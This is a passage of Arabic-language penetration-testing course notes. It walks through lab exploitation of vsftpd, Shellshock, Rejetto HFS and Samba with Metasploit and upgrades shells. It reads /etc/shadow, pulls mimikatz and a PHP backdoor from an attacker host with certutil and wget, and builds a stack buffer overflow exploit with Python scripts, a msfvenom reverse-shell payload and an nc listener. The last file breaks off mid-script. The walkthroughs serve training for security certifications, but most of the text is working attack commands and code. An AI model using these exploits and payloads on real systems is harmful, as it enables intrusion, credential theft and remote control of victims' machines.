| set SESSION 1 59 | run 60 | ``` 61 | 62 | نشوف انه عطانا اليوزرات المسجله قبل واليوزر الي مسجل حاليا 63 | 64 | وباقي الموديول استخدمناها سابقا 65 | 66 | 67 | طبعا الشي الجديد انه فيه script او اداة تختصر عليك بدال ماتجي تسوي موديول موديول هذا راح يسوي كلشي مره وحده 68 | 69 | you can access the script through the following GitHub repository: https://github.com/411Hall/JAWS 70 | 71 | 72 | طبعا هذي الاداة راح تسوي لنا كلشي حرفيا مايحتاج نسوي واحد واحد 73 | 74 | طبعا نحمل السكربت ونسوي له run 75 | ```bash 76 | cd C:\\ 77 | mkdir Temp 78 | cd Temp 79 | upload /root/Desktop/jaws-enum.ps1 80 | shell 81 | powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt 82 | download JAWS-Enum.txt 83 | ``` 84 | 85 | ونشوف انه عطانا ملف فيه كل المخرجات طبعا باسم JAWS-Enum.txt زي ماحددنا بالامر 86 | طبعا لابد ترفع السكربت على مشين التارقت ويفضل تكون في مسار Temp 87 | بعدها تفتح الشيل وتشغل الاداة 88 | بعدها تحمل الملف الي فيه المخرجات وتقراه وتحصل فيه اغلب الاشياء الي حصلها مثل اليوزرات والقروبز وبتحصل اشياء ثانيه 89 | 90 | 91 | طبعا فيه غيرها وافضل مثل (winpeas)[https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe] 92 | 93 | 94 | ونفس الكلام موجود سكربت اخر او اداة خاصة بنظام لينكس اسمها (linpeas)[https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS] 95 | 96 | الى هنا انتهى اللاب نشوف الي بعده 97 | 98 | --- 99 | 100 | اللاب الثاني الي معنا اليوم هو 101 | 102 | Linux: Enumerating System Information 103 | --------------------------------------| 104 | 105 | طبعا الان ناخذ التارقت يانفحص كامل الشبكة او ناخذ الايبي حقنا ونغير اخر ديجت نزيد عليه 1 106 | 107 | طبعا اختصار للوقت راح نفحص بالـ nmap ونشوف انه ftp open ومصاب كذالك بنستغل فورا 108 | ```bash 109 | msfconsole 110 | use exploit/unix/ftp/vsftpd_234_backdoor 111 | set RHOSTS 192.178.80.3 112 | run 113 | ``` 114 | 115 | ونشوف انه عطانا شيل الان 116 | 117 | طبعا الشيل الي معنا الان non-interactive راح نخليه interactive عن طريق ال Bash shell 118 | ```bash 119 | /bin/bash -i [to open interactive shell on Linux target] 120 | ``` 121 | 122 | طبعا الان راح نحاول نرفع السيشن الى meterpreter session 123 | ```bash 124 | sessions -u 1 [to upgrade from shell session to meterpreter session] 125 | ``` 126 | 127 | طبعا الان ندخل على السيشن وننفذ بعض الاوامر الي راح تفيدنا كمعلومات 128 | ```bash 129 | session -i 2 130 | ``` 131 | 132 | الان راح ننفذ بعض الاوامر 133 | ```bash 134 | sysinfo [يعطيك معلومات عن التارقت] 135 | ``` 136 | 137 | خلونا نفتح الشيل 138 | ```bash 139 | shell [to open bash shell] 140 | ``` 141 | 142 | وو ننفذ بعض الاوامر 143 | ```bash 144 | hostname 145 | cat /etc/issue [ Linux distro name and release version ] 146 | cat /etc/*release [ Linux distro name and release version ] 147 | uname -a [ to identify is the version of the Linux kernel running on the target. ] 148 | lscpu [ identify hardware information regarding the CPU being used on the target system ] 149 | df -h [list of storage devices attached to the Linux system and information regarding their respective mount points and storage capacity ] 150 | ``` 151 | 152 | الى هنا انتهى اللاب نشوف الي بعده 153 | 154 | --- 155 | 156 | اللاب الثالث الي معنا اليوم هو 157 | 158 | Linux: Enumerating Users & Groups 159 | ----------------------------------| 160 | 161 | طبعا نفس اللاب السابق ونفس الاستغلال 162 | ```bash 163 | msfconsole 164 | use exploit/unix/ftp/vsftpd_234_backdoor 165 | set RHOSTS 192.72.78.3 166 | run 167 | ``` 168 | 169 | ونشوف انه عطانا شيل الان 170 | 171 | طبعا الشيل الي معنا الان non-interactive راح نخليه interactive عن طريق ال Bash shell 172 | ```bash 173 | /bin/bash -i [to open interactive shell on Linux target] 174 | ``` 175 | 176 | طبعا الان راح نشوف بعض اوامر الشيل 177 | ```bash 178 | id [to know your id if you have 0 you have full privilege] 179 | cat /etc/passwd [to identify all users on target system] 180 | cat /etc/shadow [to idebtify hashs of each user have password] 181 | groups [to identify groups] 182 | lastlog [to identify the all users are logged in and the user has already logon] 183 | ``` 184 | 185 | الى هنا انتهى اللاب نشوف الي بعده 186 | 187 | --- 188 | 189 | اللاب الرابع الي معنا اليوم هو 190 | 191 | Linux: Enumerating Network Information 192 | --------------------------------------| 193 | 194 | طبعا نفس اللاب السابق ونفس الاستغلال 195 | ```bash 196 | msfconsole 197 | use exploit/unix/ftp/vsftpd_234_backdoor 198 | set RHOSTS 192.72.78.3 199 | run 200 | ``` 201 | 202 | ونشوف انه عطانا شيل الان 203 | 204 | طبعا الشيل الي معنا الان non-interactive راح نخليه interactive عن طريق ال Bash shell 205 | ```bash 206 | /bin/bash -i [to open interactive shell on Linux target] 207 | ``` 208 | 209 | طبعا الان راح نحاول نرفع السيشن الى meterpreter session 210 | ```bash 211 | sessions -u 1 [to upgrade from shell session to meterpreter session] 212 | ``` 213 | 214 | طبعا الان ندخل على السيشن وننفذ بعض الاوامر الي راح تفيدنا كمعلومات 215 | ```bash 216 | session -i 2 217 | ``` 218 | 219 | الان راح ننفذ بعض الاوامر 220 | ```bash 221 | ifconfig [ list of network interfaces connected to the target system and their respective IP addresses] 222 | netstat [get a list of open ports on the target system] 223 | route [to obtain is the routing table] 224 | ``` 225 | 226 | ونقدر من الشيل ننفذ الاوامر هذي وراح تعطينا نفس مخرجات اوامر الـ meterpreter الي نفذناها بالاعلى 227 | ```bash 228 | shell 229 | ip a s [this command will display the list of network interfaces connected to the target system.] 230 | cat /etc/networks [the list of configured networks and their subnets] 231 | cat /etc/hosts [he list of locally mapped domains and their respective IP addresses] 232 | cat /etc/resolv.conf [ to identify the default DNS name server address] 233 | ``` 234 | 235 | الى هنا انتهى اللاب نشوف الي بعده 236 | 237 | --- 238 | 239 | اللاب الخامس الي معنا اليوم هو 240 | 241 | Linux: Enumerating Processes & Cron Jobs 242 | -----------------------------------------| 243 | 244 | طبعا نفس اللاب السابق ونفس الاستغلال 245 | ```bash 246 | msfconsole 247 | use exploit/unix/ftp/vsftpd_234_backdoor 248 | set RHOSTS 192.72.78.3 249 | run 250 | ``` 251 | 252 | ونشوف انه عطانا شيل الان 253 | 254 | طبعا الشيل الي معنا الان non-interactive راح نخليه interactive عن طريق ال Bash shell 255 | ```bash 256 | /bin/bash -i [to open interactive shell on Linux target] 257 | ``` 258 | 259 | طبعا الان راح نحاول نرفع السيشن الى meterpreter session 260 | ```bash 261 | sessions -u 1 [to upgrade from shell session to meterpreter session] 262 | ``` 263 | 264 | طبعا الان ندخل على السيشن وننفذ بعض الاوامر الي راح تفيدنا كمعلومات 265 | ```bash 266 | session -i 2 267 | ``` 268 | 269 | الان راح ننفذ بعض الاوامر 270 | ```bash 271 | ps [list of running processes on the target system] 272 | pgrep vsftpd [To find the PID of a specific service] 273 | ``` 274 | 275 | خلونا نفتح نشيل الان ونشوف كيف نشوف الكرون جوب 276 | ```bash 277 | ls -la /etc/cron* [list of cron jobs on the Kali Linux system] 278 | ``` 279 | 280 | الى هنا انتهى اللاب نشوف الي بعده 281 | 282 | --- 283 | 284 | اللاب السادس الي معنا اليوم هو 285 | 286 | Automating Linux Local Enumeration 287 | -----------------------------------| 288 | 289 | طبعا في هذا اللاب راح نسوي automate لكل الي سويناه قبل خلونا نشوف مع بعض 290 | 291 | طبعا الاستغلال مختلف 292 | 293 | خلونا الان نفحص التارقت سواء عن طريق كل الشبكه ونطلع ايبي التارقت او نزيد على الايبي تبعنا ديجت واحد 294 | ```bash 295 | nmap -sV 192.182.85.3 296 | ``` 297 | 298 | نشوف ان بورت 80 مفتوح طبعا وشغال عليه خدمة Apache 2.4.6 ونبحث ونعرف انه مصاب بنستغله فورا 299 | ```bash 300 | msfconsole 301 | use exploit/multi/http/apache_mod_cgi_bash_env_exec 302 | set RHOSTS 192.182.85.3 303 | set TARGETURI /gettime.cgi [specify the cgi file PATH] 304 | exploit 305 | ``` 306 | 307 | نشوف انه الان فتح لنا meterpreter session 308 | خلونا نخلي السيشن في الخلفيه 309 | ```bash 310 | background 311 | ``` 312 | 313 | الان راح نستخدم بعض الموديول الي يفيدنا 314 | ```bash 315 | use post/linux/gather/enum_configs 316 | set SESSION 1 317 | run 318 | ``` 319 | 320 | طبعا نشوف انه عطانا معلومات فيه بعضها يخزنها لاكن لابد تكون فاتح الداتابيس 321 | 322 | طبعا الموديولز متكرر لكن الاخير هو المفيد وهي انه راح نستخدم سكربت يخلي لنا كل هذا تلقائي ويسويه لنا بضغطة زر 323 | 324 | GitHub repository: https://github.com/rebootuser/LinEnum 325 | 326 | طبعا هذا هو السكربت لابد ننقله على مشين التارقت ونشغله من مشين التارقت 327 | نفتح طبعا الـ meterpreter session ونشغل السكربت 328 | ```bash 329 | session -i 1 330 | cd /tmp 331 | upload /root/Desktop/LinEnum.sh 332 | shell 333 | /bin/bash -i 334 | chmod +x LinEnum.sh 335 | ./LinEnum.sh 336 | ``` 337 | 338 | ونشوف كمية البيانات الي تفيدك جدا وتختصر عليك وقت كثييير 339 | 340 | 341 | الى هنا انتهى اللاب نشوف الي بعده 342 | 343 | --- 344 | 345 | اللاب السادس الي معنا اليوم هو 346 | 347 | Setting Up A Web Server With Python 348 | -----------------------------------| 349 | 350 | طبعا هذا اللاب راح نتركه فقط نقرا الحل وظيفته نعرف كيف نفتح سيرفر بايثون وعندنا 3 اصدارات من البايثون 351 | 352 | طبعا اصدار 1 و 2 نفس الطريقه 353 | ```bash 354 | python -m SimpleHTTPServer 80 355 | ``` 356 | 357 | اصدار بايثون3 358 | ```bash 359 | python -m http.server 80 360 | ``` 361 | 362 | طبعا راح يكون يفتح السيرفر على نفس المسار الي تكتب فيه هذا الكوماند وبتقدر تاكسسه من الايبي تبعك متبوع برقم البورت 363 | 364 | 365 | الى هنا انتهى اللاب نشوف الي بعده 366 | 367 | --- 368 | 369 | اللاب السابع الي معنا اليوم هو 370 | 371 | Transferring Files To Windows Targets 372 | -------------------------------------| 373 | 374 | طبعا هذا اللاب نفس الي قبل فتح بايثون سيرفر واستغلينا التارقت وبعدها نفذنا هذا الامر عشان ينقل ملف لنا من مشين الاتاكر الى مشين التارقت عن طريق البايثون سيرفر 375 | 376 | الاستغلال 377 | ```bash 378 | msfconsole 379 | use exploit/windows/http/rejetto_hfs_exec 380 | set RHOSTS 10.2.30.185 381 | exploit 382 | ``` 383 | 384 | سيرفر البايثون نفتحه بداخل مسار معين من جهازنا ف نفتح تاب ثاني 385 | ```bash 386 | cd /usr/share/windows-resources/mimikatz/x64 387 | python3 -m http.server 80 388 | ``` 389 | 390 | الان نتصل بالسيشن الي فتحت لنا بالاكسبلويت ونروح لمسار معين عشان ننقل الملف 391 | ```bash 392 | cd C:\\ 393 | mkdir Temp 394 | cd Temp 395 | shell 396 | ``` 397 | 398 | 399 | والان ننقل الملف بهذا الامر 400 | ```bash 401 | certutil -urlcache -f http://10.10.5.2/mimikatz mimikatz.exe 402 | ``` 403 | 404 | طبعا الامر هذا للويندوز فيه اداة للينكس وهي wget 405 | 406 | الى هنا انتهى اللاب نشوف الي بعده 407 | 408 | --- 409 | 410 | اللاب الثامن الي معنا اليوم هو 411 | 412 | Transferring Files To Linux Targets 413 | ------------------------------------| 414 | 415 | نفس الطريقة السابقه لكن امر نقل الملف يكون 416 | ```bash 417 | wget http://192.196.45.2/php-backdoor.php 418 | ``` 419 | 420 | الى هنا انتهى اللاب نشوف الي بعده 421 | 422 | --- 423 | 424 | اللاب التاسع الي معنا اليوم هو 425 | 426 | Upgrading Non-Interactive Shells 427 | ---------------------------------| 428 | 429 | طبعا فكرة هذا اللاب يشرح لنا طريقة ترقية الـ non-interactive Shells 430 | 431 | طبعا نطلع ايبي التارقت ونستغل فورا 432 | 433 | الاستغلال 434 | ```bash 435 | msfconsole 436 | use exploit/linux/samba/is_known_pipename 437 | set RHOSTS 192.185.44.3 438 | exploit 439 | ``` 440 | 441 | هنا نشوف انه عطانا non-interactive shell 442 | طبعا نقدر نخليه interactive باكثر من طريقة وراح نشوف بعض الطرق 443 | 444 | الطريقة الاولى 445 | ```bash 446 | /bin/bash -i 447 | ``` 448 | 449 | ونشوف انه عطانا interactive shell 450 | 451 | الطريقة الثانيه 452 | ```bash 453 | python -c 'import pty; pty.spawn("/bin/bash")' 454 | ``` 455 | 456 | ونشوف انه عطانا interactive shell 457 | 458 | الى هنا انتهى اللاب نشوف الي بعده 459 | 460 | --- 461 | 462 | هذي اللابات فقط للقرائة بنقراها ف ماراح يكون فيه شرح 463 | 464 | This labs only read because we don't have time 465 | -----------------------------------------------| 466 | 467 | 1. Windows: PrivescCheck 468 | 2. Permissions Matter! 469 | 3. Editing Gone Wrong 470 | 4. Maintaining Access: Persistence Service 471 | 5. Maintaining Access: RDP 472 | 6. Maintaining Access I 473 | 7. T1168: Local Job Scheduling 474 | 8. Windows: NTLM Hash Cracking 475 | 9. Password Cracker: Linux 476 | 10. Clearing Your Tracks On Windows 477 | 11. Clearing Your Tracks On Linux 478 | 12. All labs on Section web 479 | 480 | الى هنا ختمنا كورس PTS الحمدالله 481 | 482 | باذن الله يوم الاحد راح نبدا بكورس PTP 483 | 484 | اعذرونا على القصور لكن لابات ine متكرره ونفس الفكره ف كان شوي مو محمس مره 485 | 486 | باذن الله راح نستمتع كلنا في كورس الـ PTP وبنشوف اشياء اسطوريه 487 | 488 | 489 | الى هنا انتهينا في امان الله 490 | 491 | --- 492 | 493 | ## Follow us on: 494 | Twitter: 495 | [s4cript](https://twitter.com/s4cript) 496 | [cyberhub](https://twitter.com/cyberhub) 497 | [0xNawaF1](https://twitter.com/0xNawaF1) -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-1.md: -------------------------------------------------------------------------------- 1 | # Session 1 (eCPPTv2) - Day 1 2 | ## Penetration Testing: System Security 3 | 4 | 5 | SOON -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-2.md: -------------------------------------------------------------------------------- 1 | # Session 2 (eCPPTv2) - Day 2 2 | ## Penetration Testing: System Security Part 2 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نبدا من الي وقفنا عليه امس 7 | 8 | 9 | اول شي معنا اليوم راح نطبق نفس الي اخذناه امس باذن الله بنفس الطريقة 10 | 11 | 12 | --- 13 | 14 | Buffer Overflow Prep: OVERFLOW2 15 | --------------------------------| 16 | 17 | 1- Offset 18 | 2- BadChar 19 | 3- Jump to ESP by mona or Manual 20 | 21 | طبعا لو كان بالـ jmb ESP حصلت bad characters لازم تغيره 22 | 23 | --- 24 | طبعا اول شي راح نسويه الي هو الـ Fuzzer 25 | ```python 26 | #!/usr/bin/env python3 27 | 28 | import socket, time, sys 29 | 30 | ip = "" 31 | 32 | port = 33 | timeout = 5 34 | prefix = "OVERFLOW2 " 35 | 36 | string = prefix + "A" * 100 37 | 38 | while True: 39 | try: 40 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 41 | s.settimeout(timeout) 42 | s.connect((ip, port)) 43 | s.recv(1024) 44 | print("Fuzzing with {} bytes".format(len(string) - len(prefix))) 45 | s.send(bytes(string, "latin-1")) 46 | s.recv(1024) 47 | except: 48 | print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) 49 | sys.exit(0) 50 | string += 100 * "A" 51 | time.sleep(1) 52 | 53 | ``` 54 | طبعا بعد ماشغلناه وكرش قالنا انه كرش عند 700 بايت راح نزود 100 بايت 55 | 56 | الان بنسوي نمط معين من الاحرف عشان نشوف وين يكرش بالضبط 57 | ```bash 58 | msf-pattern_create -l 800 59 | ``` 60 | طبعا كل 4 بايت مختلفه عن الثاني تماما 61 | 62 | طبعا نسوي run للبرنامج الان ونعطيه النمط الي سويناه 63 | ```bash 64 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 65 | ``` 66 | 67 | ف كتبت هذا السكربت بحيث نعرف كم قيمة الـ offset 68 | ```python 69 | #!/usr/bin/env python3 70 | 71 | import socket 72 | 73 | ip = '' 74 | port = 75 | 76 | pattren = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba" 77 | 78 | string = "OVERFLOW2 " + pattren 79 | 80 | 81 | try: 82 | with socket.socket() as s: 83 | s.connect((ip,port)) 84 | print("sending pattren") 85 | s.send(bytes(string,'latin-1')) 86 | except: 87 | print("failed to connect") 88 | ``` 89 | 90 | نشوف انه عطانا قيمة الـ EIP 76413176 91 | 92 | طبعا الان كيف بنطلع الـ offset? 93 | 94 | طبعا الان نروح سايبرشيف ونشوف قيمة كل بايت عشان نعرف ايش هي ال4 احرف 95 | ```bash 96 | 76 41 31 76 97 | From hex 98 | ``` 99 | نشوف انه قالنا انه قيمة الهيكس اللي عطيناه اياه هي vA1v 100 | وهذا يعني ان الاربع بايتات اقدر اتلاعب فيها وهي القيمة الي تمثل الـ EIP 101 | لو نحطه طبعا في اي محرر نصوص ونشوف وين الاحرف الاربعه هذي مابعدها كلها ينحذف لانه بيكون هو الـ shell code 102 | فراح نحصل انه يعادل الـ offset 634 103 | 104 | او نستخدم الطريقة الثانيه والاسرع باستخدام mona 105 | 106 | الان عشان نحسب المسافة الي نحتاجها عشان نبدا نكتب على الـ eip 107 | ```bash 108 | !mona findmsp -distance 800 109 | ``` 110 | 111 | ونشوف انه عطانا ان الـ offset 634 112 | 113 | طبعا سويت هذا السكربت عشان نقدر نكتشف الـ bad characters 114 | ```python 115 | #!/usr/bin/env python3 116 | 117 | import socket 118 | 119 | 120 | ip = '10.10.72.247' 121 | port = 1337 122 | 123 | # The bad chars it's: \x00\x23\x3c\x83\xba 124 | badchar = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 125 | 126 | string = "OVERFLOW2 " + 634*"A" + 4*"B" + badchar 127 | 128 | try: 129 | with socket.socket() as s: 130 | s.connect((ip,port)) 131 | print("sending pattren") 132 | s.send(bytes(string,'latin-1')) 133 | except: 134 | print("faild to connect") 135 | 136 | ``` 137 | 138 | طبعا هذي كل الاحرف لكن حذفنا \x00 لانه null byet by default 139 | 140 | طبعا فيه امر يعطيك ال bad characters array عن طريق الـ mona 141 | ```bash 142 | !mona bytearray -cpb "\x00" 143 | ``` 144 | 145 | الان نسوي له run ونشوف وش يعطينا 146 | 147 | الان نشوف انه كرش وقيمة الـ EIP صارت 42424242 لانه حاطين الريتيرن BBBB 148 | 149 | عرفنا انه نقدر نكتب على ال EIP بس نستبدل ال BBBB من المتغير retn 150 | 151 | طبعا الان لابد نشوف ال Stack ونبدا بالترتيب لابد نعرف وش الي مانكتب بالستاك هذا يعتبر bad characters 152 | 153 | وتقعد كلشوي تحذف بادكراكتر انت حصلته وترجع تسوي رن للبرنامج وتشوف الترتيب اذا نفسه كويس اذا فيه شي مانكتب يعتبر bad char وعلى هذا الحال لين تشوف انها ترتبت زي مانت كاتبها بالاكسبلويت 154 | 155 | فهذي هي الـ bad characters الي حصلناها 156 | ```bash 157 | Bad characters it's 158 | \x00\x23\x3c\x83\xba 159 | ``` 160 | 161 | فيه طريقة ثانيه لكن مو مره سليمه او دقيقه الي هي عن طريق الـ mona 162 | ```bash 163 | !mona config -set workingfolder c:\mona\%p [to set working Directory] 164 | !mona compare -f c:\mona\bytearray.bin -a 0182FA30 [to find out the bad characters] 165 | ``` 166 | طبعا قيمة -a متغيره على حسب الادرس حق الـ ESP 167 | لكن زي ماذكرت سابقا غير دقيق ولازم تعقب وراه ف يفضل تستخدم الطريقة الاولى 168 | 169 | بعد ماحصلناه الان نحتاج الى jmp esp 170 | ```bash 171 | !mona jmp -r esp -cpb "\x00" 172 | ``` 173 | 174 | ولابد نضيف باقي البادكركترز مع الـ \x00 175 | 176 | بعدها راح يطلع لنا الـ Address for jmp esp 177 | ولنفترض انه 178 | ```bash 179 | 625011AF FFE4 JMP ESP 180 | ``` 181 | 182 | الان راح نسوي الـ Shell code باتسخدام msfvenome 183 | ```bash 184 | msfvenom -p windows/shell_reverse_tcp lhost=10.18.114.37 lport=9001 EXTIFUNX=thread -b "\x00\x07\x2e\xa0" -f python -v "sc" 185 | ``` 186 | 187 | طيب الان سوينا الـ Shell Code 188 | الان راح نكتب الاكسبلويت بهذي الطريقة 189 | ```python 190 | #!/usr/bin/env python3 191 | 192 | import socket 193 | 194 | 195 | ip = '10.10.72.247' 196 | port = 1337 197 | 198 | #replace it with your shellcode 199 | sc = "" 200 | 201 | #replace it with your command chall 202 | command = "OVERFLOW2 " 203 | 204 | #replce the offset number depending on the situation 205 | offset = 634*"A" 206 | 207 | #replce the jmp address depending on the situation 208 | jmp = "\xAF\x11\x50\x62" 209 | 210 | nops = 16*"\x90" 211 | string = command + offset + jmp + nops + sc 212 | 213 | try: 214 | with socket.socket() as s: 215 | s.connect((ip,port)) 216 | print("sending exploit") 217 | s.send(bytes(string,'latin-1')) 218 | except: 219 | print("faild to connect") 220 | ``` 221 | 222 | بعدها راح نفتح الليسنر ولابد يكون نفس البورت الي حددناه عند انشاء shellcode ولابد يكون متاح 223 | ```bash 224 | nc -nlvp 9001 225 | ``` 226 | 227 | الان راح نشغل الاكسبلويت 228 | BOOM! we get shell ;) 229 | 230 | الى هنا انتهى اللاب الثاني وباذن الله راح نكمل بكرا 231 | 232 | --- 233 | 234 | ## Follow us on: 235 | Twitter: 236 | [s4cript](https://twitter.com/s4cript) 237 | [cyberhub](https://twitter.com/cyberhub) 238 | [0xNawaF1](https://twitter.com/0xNawaF1) -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-3.md: -------------------------------------------------------------------------------- 1 | # Session 3 (eCPPTv2) - Day 3 2 | ## Penetration Testing: System Security Part 3 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نبدا من الي وقفنا عليه امس 7 | 8 | اليوم باذن الله راح نركز الصعبه علينا امس 9 | JUMP to ESP هذا كان فيه اشكالية عند الاغلب ف بنعيده 10 | 11 | 12 | اول شي بنجرب الطريقة اليدوية 13 | 14 | طبعا راح نكتب هذا الكود 15 | ```python 16 | import socket 17 | ip = "10.10.60.243" 18 | port = 1337 19 | prefix = "OVERFLOW1 " 20 | offset = 1978 21 | overflow = "A" * offset 22 | retn = "" 23 | padding = "\x90" * 24 24 | 25 | chars="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 26 | 27 | 28 | postfix = "" 29 | buffer = prefix + overflow + retn + padding + chars 30 | 31 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | 33 | try: 34 | 